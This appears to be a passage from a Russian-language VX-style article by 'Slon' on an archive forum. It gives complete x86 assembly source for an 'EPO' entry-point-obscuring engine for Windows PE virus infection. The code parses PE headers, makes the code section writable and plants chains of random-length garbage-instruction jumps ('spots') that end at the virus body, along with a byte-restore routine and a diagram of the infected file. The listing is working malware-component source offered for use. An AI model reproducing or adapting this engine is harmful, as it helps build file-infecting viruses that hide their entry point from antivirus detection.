  dw instr_a16  -delta_offset   ;
  dw instr_cl   -delta_offset   ;
;------------------------------------------------------------------------------;
one_byte_opcode:
  std                                ;
  cld                                ; Таблица однобайтовых
  nop                                ; инструкций
  clc                                ;
  stc                                ;
  cmc                                ;
  db 0f2h                       ; rep
  db 0f3h                       ; repnz
;------------------------------------------------------------------------------;
three_byte_opcode:
db  0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых
db  0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций
;------------------------------------------------------------------------------;
  
  

Теперь мы готовы перейти к листингу нашего мотора:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [SIMPLE EPO TECHNIQUE ENGINE  V. 0.1]                  ;
;                                                                              ;
;     ###########    ###########    ############   ##############        ;
;    #############  #############  ##############  ##############        ;
;    ##             ###        ##  ###        ###       ###              ;
;    ############   #############  ###        ###       ###              ;
;     ############  ############   ###        ###       ###              ;
;              ###  ###            ###        ###       ###              ;
;    #############  ###            ##############       ###              ;
;     ###########   ###             ############        ###              ;
;                                                                              ;
;                                 FOR MS WINDOWS                               ;
;                                                                              ;
;                                     BY SL0N                                  ;
;------------------------------------------------------------------------------;
;                                    MANUAL:                                   ;
; ADDRESS OF MAPPED FILE  -> EDX                                        ;
;                                                                              ;
; CALL EPO                                                                     ;
;------------------------------------------------------------------------------;
;                               MANUAL FOR RESTORE:                            ;
; CALL RESTORE                                                                 ;
;                                                                              ;
; ENTRY POINT             -> EBX                                               ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API                                                       ;
; (+) EASY TO USE                                                              ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)                        ;
; (+) USE X87 INSTRUCTIONS                                                     ;
; (+) RANDOM NUMBER OF SPOTS                                                   ;
; (+) MUTABLE SPOTS                                                            ;
; (+) RANDOM LENGTH OF JUMP                                                    ;
;------------------------------------------------------------------------------;
epo:            
  push esi edi                    ; Сохраняем в стэке esi 
                                     ; и edi
  mov [ebp+map_address],edx      ; Сохраняем адрес файла в
                                     ; памяти
  call get_head                   ; Получаем  PE заголовок
                                     ;
  call search_eip                 ; Вычисляем новую точку
                                     ; входа
  call find_code     ; Ищем начало кода в этом 
         ; файле
  call spots      ; Помещаем туда переход 
         ; на вирус
  pop edi esi                    ; Восстанавливаем из стэка
                                     ; edi и esi
  ret       ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       PE HEADER SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         FILE IN MEMORY -> EDX                            ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

get_head:                                          
         ; Подпрограмма получения
                                                   ; PE заголовка

  pusha                              ; Сохраняем всё в стэке

  mov  ebx,[edx + 3ch]            ;
  add  ebx,edx                    ;
                                     ;
  mov  [ebp + PE_header],ebx    ; сохраняем PE заголовок
  mov  esi,ebx                    ;
  mov edi,esi                    ;
  mov  ebx,[esi + 28h]            ;
  mov  [ebp + old_eip],ebx    ; Сохраняем старую точку
         ; входа (eip)
  mov  ebx,[esi + 34h]            ;
  mov  [ebp + image_base],ebx    ; Сохраняем
                                                   ; виртуальный адрес 
         ; начала программы
                popa                               ; Вынимаем всё из стэка
  ret       ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                     NEW ENTRY POINT SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:                                        
         ; Подпрограмма вычисления
                                                   ; новой точки входа

  pusha                              ; Сохраняем всё в стэке

  mov esi,[ebp+PE_header]        ; Кладём в esi указатель
                                     ; На PE заголовок
  mov  ebx,[esi + 74h]     ;  
  shl  ebx,3      ; 
  xor  eax,eax      ;
  mov  ax,word ptr [esi + 6h]     ; Количество объектов
  dec  eax      ; (нам нужен последний-1
  mov  ecx,28h      ; заголовок секции)
  mul  ecx      ; * размер заголовка
  add  esi,78h      ; теперь esi указывает 
  add  esi,ebx      ; на начало последнего  
  add  esi,eax      ; заголовка секции

  mov eax,[esi+0ch]              ; 
  add eax,[esi+10h]              ; Сохраняем новую точку
  mov [ebp+new_eip],eax          ; входа

                popa                               ; Вынимаем всё из стэка

  ret       ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                   FIND START OF CODE SUBROUTINE          ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:                                         
         ; Подпрограмма поиска начала
                                                   ; кода

  mov esi,[ebp+PE_header]        ; Кладём в esi указатель
                                     ; На PE заголовок

  mov  ebx,[esi + 74h]     ;
  shl  ebx,3      ; Получаем 
  xor  eax,eax      ; 
  mov  ax,word ptr [esi + 6h]    ; Количество объектов
find2:
  mov esi,edi                    ;
  dec eax                        ; 
  push eax                        ; (нам нужен последний-1
  mov  ecx,28h      ; заголовок секции)
  mul  ecx      ; * размер заголовка
  add  esi,78h      ; теперь esi указывает на
  add  esi,ebx      ; начало последнего 
         ; заголовка 
  add  esi,eax      ; секции
  mov eax,[ebp+old_eip]    ; В eax ложим точку входа
  mov edx,[esi+0ch]     ; В edx адрес куда будет
         ; мапиться
         ; текущая секция
  cmp edx,eax      ; Проверяем
  pop eax      ; Вынимаем из стэка eax
  jg find2      ; Если больше ищем дальше
  add edx,[esi+08h]     ; Добавляем виртуальный 
         ; размер секци
  cmp edx,[ebp+old_eip]    ; Проверяем
  jl find2      ; Если меньше ищем дальше

  mov edx,[esi+0ch]     ; Далее вычисляем 
         ; физическое
  mov eax,[ebp+old_eip]    ; смещение кода в файле
  sub eax,edx      ;
  add eax,[esi+14h]            ;
  add eax,[ebp+map_address]    ; И потом добавляем базу
         ; памяти

  mov [ebp+start_code],eax    ; Сохраняем начало кода

                or  [esi + 24h],00000020h or 20000000h or 80000000h 
         ; Меняем аттрибуты 
         ; кодовой секции

  mov eax,[esi+08]               ; Вычисляем размер
  sub eax,[ebp+old_eip]          ; той части кодовой секции,
  mov edx,[esi+10h]              ; где можно размещать
  sub edx,eax                    ; пятна
  mov [ebp+size_for_spot],edx    ;

  ret       ; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                     SPOTS GENERATION SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:                                             
         ; Подпрограмма генерации
         ; пятен

  mov ecx,1                      ; Кладём в ecx единицу
                                     ;
  call reset                      ; Подготавливаем данные
  call num_spots                  ; Генерируем случайное число
                                     ; это будет кол-во пятен
tred:                                              
  call save_bytes            ; Сохраняем затираемы байты
  call gen_spot                   ; Генерируем пятно

  inc ecx                        ; Увеличиваем ecx на единицу
  cmp ecx,[ebp+n_spots]          ; Все пятна сгенерированы
  jne tred                       ; Если нет, то генерируем

  call save_bytes     ; Сохраняем последние байты
  call gen_final_spot             ; И генерируем последнее
                                     ; пятно
  ret       ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                     SPOT GENERATION SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:                                          
         ; Подпрограмма генерации 
         ; одного пятна

  push eax ecx                    ; Сохраняем eax и ecx

  call len_sp_jmp                 ; Получаем случайную длину
  xchg eax,ebx                    ; прыжка пятна

  call testing                    ; Проверяем, чтобы пятно
  jc quit2                      ; не выходило за кодовую
                                                   ; секцию
  push ebx
  xor bx,bx
  dec bx
  mov ecx,[ebp+num1]             ; Генерируем первую партию
  call garbage                    ; мусора
  pop ebx

  mov al,0e9h                    ; 
  stosb                              ;
  mov eax,0                      ; Генерируем jmp
  add eax,ebx                    ;
  add eax,ecx                    ;
  stosd                              ;

  push ebx
  xor bx,bx
  dec bx
  mov ecx,[ebp+num2]             ; Генерируем вторую партию
  call garbage                    ; мусора
  pop ebx

  sub edi,[ebp+num2]             ; 
  add edi,[ebp+num1]             ; Корректируем edi
  add edi,ebx                    ;
quit2:
  pop ecx eax                    ; Восстанавливаем ecx и eax

  ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                   LAST SPOT GENERATION SUBROUTINE         ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:                                    
                                                   ; Подпрограмма генерации
         ; финального пятна
 
  push eax ecx                    ; Сохраняем eax и ecx
                                     
  jc not_big                    ; Если длина не превышает
  inc [ebp+n_spots]              ; размера кодовой секции, то
not_big:                                           ; Увеличим кол-во пятен
  mov ecx,[ebp+num1]             ; Генерируем мусорные
  call garbage                    ; инструкции

  push edi                        ; Сохраняем edi
  sub edi,[ebp+start_code]       ; Подготавливаем длину jmp'a
  mov ebx,edi                    ; для последнего пятна
  pop edi                        ; Восстанавливаем edi

  mov al,0e9h                    ;
  stosb                              ;
  mov eax,0                      ;
  sub eax,5                      ; Генерируем финальное
  sub eax,ebx                    ; пятно
  add eax,[ebp+new_eip]          ;
  sub eax,[ebp+old_eip]          ;
  stosd                              ;

  mov ecx,[ebp+num2]             ; Генерируем вторую партию
  call garbage                    ; мусорных инструкций

  pop ecx eax                    ; Восстанавливаем ecx и eax
  ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                     SPOTS GENERATION SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                        ADDRESS OF SAVING BYTES -> EDI                        ;
;                        QUANTITY OF BYTES       -> EBX                 ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;                            NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
         ; Подпрограмма сохранения
         ; заменяемых байт

                pusha                     ; Сохраняем всё в стэке
  call length1                    ; Генерируем длины мусорных
                                     ; инструкций
  mov ebx,[ebp+num1]             ; Помещаем в ebx первую 
  add ebx,[ebp+num2]             ; и вторую длины
  add ebx,5                      ; Добавляем к ebx - 5

  mov esi,edi                    ; Сохраняем в буфере с 
  mov edi,[ebp+pointer]          ; начала смещение в памяти
  mov eax,esi                    ; на сохраняемые байты
  stosd                              ;
  mov ecx,ebx                    ; После этого сохраняем в
  mov eax,ecx                    ; буфере кол-во сохраняемых
  stosd                              ; байт

  rep movsb                      ; И в самом конце сохраняем
  mov [ebp+pointer],edi          ; в буфере сами байты
                                     ;
  popa                               ; Вынимаем всё из стэка
  ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                        RESTORE SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         OLD ENTRY POINT -> EBX          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
         ; Подпрограмма 
         ; восстановления сохранённых
         ; байт

  cld                                ; Поиск вперёд
  lea esi,[ebp+rest_bytes]       ; В esi указазатель на буфер
  mov edx,1                      ; В edx кладём - 1
not_enough:
  mov edi,[ebp+old_eip]          ; В edi загружаем точку
  add edi,[ebp+image_base]       ; входа
  mov ebx,edi                    ; Сохраняем edi в ebx
  lodsd                              ; В eax старое смещение
                                     ; байт в памяти
  sub eax,[ebp+start_code]       ; Отнимаем смещение начала
                                     ; кода и добавляем 
  add edi,eax                    ; точку входа
  lodsd                              ; Загружаем в eax кол-во 
  mov ecx,eax                    ; байт и кладём их в ecx
  rep movsb                      ; Перемещаем оригинальные
                                     ; байты на старое место
  inc edx                        ; Переходим к следующему 
  cmp edx,[ebp+n_spots]          ; пятну
  jl not_enough                 ; если не все пятна вернули,
                                     ; то восстанавливаем дальше
quit:                                              ;  
  ret       ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                LENGTH SPOT GENERATION SUBROUTINE         ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
         ; Подпрограмма генерации
         ; длин мусорных инструкций
  mov eax,20                     ;
  call brandom32                  ; Генерируем случайное число
  test eax,eax                    ; в диапазоне 1..19
  jz length1                    ;

  mov [ebp+num1],eax             ; Сохраняем его в переменную
rand2:
  mov eax,20                     ;
  call brandom32                  ; Генерируем случайное число
  test eax,eax                    ; в диапазоне 1..19
  jz rand2                      ;

  mov [ebp+num2],eax             ; Сохраняем его в вторую
                                     ; переменную
  ret       ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                         RESET SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
         ; Подпрограмма инициализации
         ; переменных
  mov edi,[ebp+start_code]       ;
                                     ; 
  push esi                        ; Инициализируем переменные
  lea esi,[ebp+rest_bytes]       ;
  mov [ebp+pointer],esi          ;
  pop esi                        ;

  ret       ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;              SPOT JUMP LENGTH GENERATION SUBROUTINE         ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;

;       LENGTH OF SPOT JUMP -> EAX          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
         ; Подпрограмма генерации
         ; длины прыжка

  mov eax,150                    ;
  call brandom32                  ; Генерируем случайное число
  cmp eax,45                     ; в диапазоне 45..149
  jle len_sp_jmp     ;

   ret       ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                 SPOTS NUMBER GENERATION SUBROUTINE         ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;         NO OUTPUT IN SUBROUTINE          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
         ; Подпрограмма генерации
         ; количества пятен

  pusha                              ; Сохраняем всё в стэке

  mov eax,40                     ; Генерируем случайное число
  call brandom32                  ; в диапазоне 1..40
  inc eax                        ; И сохраняем его в
  mov [ebp+n_spots],eax          ; переменной

  popa                               ; Вынимаем всё из стэка
  ret       ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                        TESTING SUBROUTINE                 ;
;------------------------------------------------------------------------------;
;                [ IN ]           ;
;                                                                              ;
;                         NO INPUT IN SUBROUTINE                           ;
;------------------------------------------------------------------------------;
;                [ OUT ]           ;
;                                                                              ;
;                     CARRY FLAG                  ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
         ; Подпрограмма проверки
         ; попадения в границу секции

  push edi eax                    ; Сохраняем edi eax в стэке

  add edi,[ebp+num1]             ; Добавим к edi 1-ую длину
         ; мусорных инструкций
  add edi,[ebp+num2]             ; После этого добавим 2-ую
  add edi,300                    ; И добавим число в которое
         ; входит максимальный размер
         ; пятна + длина его прыжка
  mov eax,[ebp+size_for_spot]    ; В eax загрузим размер 
         ; места для пятен и смещение
  add eax,[ebp+start_code]       ; в памяти точки входа

  cmp edi,eax                    ; Сравним eax и edi
  clc                                ; Сбросим carry флаг
  jl m_space                    ; Если edi меньше, то все
                                     ; хорошо
  mov [ebp+n_spots],ecx          ; Если нет, то мы уменьшаем
  inc [ebp+n_spots]              ; количество пятен и 
  stc                                ; устанавливаем carry флаг
m_space:
  pop eax edi             ; Вынимаем eax и edi 
  ret       ; Возврат из процедуры
;------------------------------------------------------------------------------;
pointer  dd 0                          ;
n_spots  dd 0                          ;
                                                   ;
num1  dd 0                          ;
num2  dd 0                          ;
                                                   ; Данные необходимые для
PE_header dd 0                          ; работы мотора
old_eip  dd 0                          ;
image_base dd 0                          ;
start_code dd 0                          ;
new_eip  dd 0                          ;
map_address dd 0                          ;
size_for_spot dd 0                          ;
rest_bytes: db 2100 dup (?)               ;
;------------------------------------------------------------------------------;
  
  

В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байт используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.

Рассмотрим примерную схему работы мотора:

 
  |------------------------------------------|
  |             Заголовок программы          |
  |  (в нём указан адрес запуска программы)  |
  |------------------------------------------|
  |                   .....                  |
  |         Здесь идут различные секции      |
  |                   .....                  |
  |------------|-----------------------------|
         | jmp spotN2 |-----|                       |
  |------------|     |                       |
         |               |--V---------|             |
         |      |--------| jmp spotN3 |             |
         |      |        |------------|             |
         |------V-----|                             |
 |-------|  jmp virus |                             |
 |       |------------|   Кодовая секция            |
 | |------------------------------------------|
 | |                   .....                  |
 | |         Здесь идут различные секции      |
 | |                   .....                  |
 | |------------------------------------------|
 |------>|                   .....                  |
  |              ВИРУС                  |
  |                   .....                  |
  |------------------------------------------|
  
  

Для чего может использоваться данный модуль? Данный модуль можно с большой эффективностью использовать при моделировании навесных защит исполнимого кода, помимо его прямого назаначения.

© Slon

0 772
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532